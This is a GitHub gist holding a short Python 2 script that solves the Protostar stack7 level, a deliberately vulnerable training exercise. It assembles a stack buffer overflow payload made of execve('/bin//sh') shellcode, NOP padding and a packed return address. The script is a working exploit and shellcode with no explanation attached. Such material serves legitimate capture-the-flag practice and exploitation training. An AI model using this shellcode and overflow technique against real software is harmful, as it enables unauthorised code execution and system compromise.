Skip to content

Instantly share code, notes, and snippets.

@luc-lynx
Created November 1, 2017 08:21
Show Gist options
  • Save luc-lynx/cba774dc69caf431ea4d361d665fd38c to your computer and use it in GitHub Desktop.
Save luc-lynx/cba774dc69caf431ea4d361d665fd38c to your computer and use it in GitHub Desktop.
protostar_stack7_exploit
import struct
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
jmp_addr = struct.pack("I", 0x080484bf)
print shellcode + "\x90" * 52 + jmp_addr
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment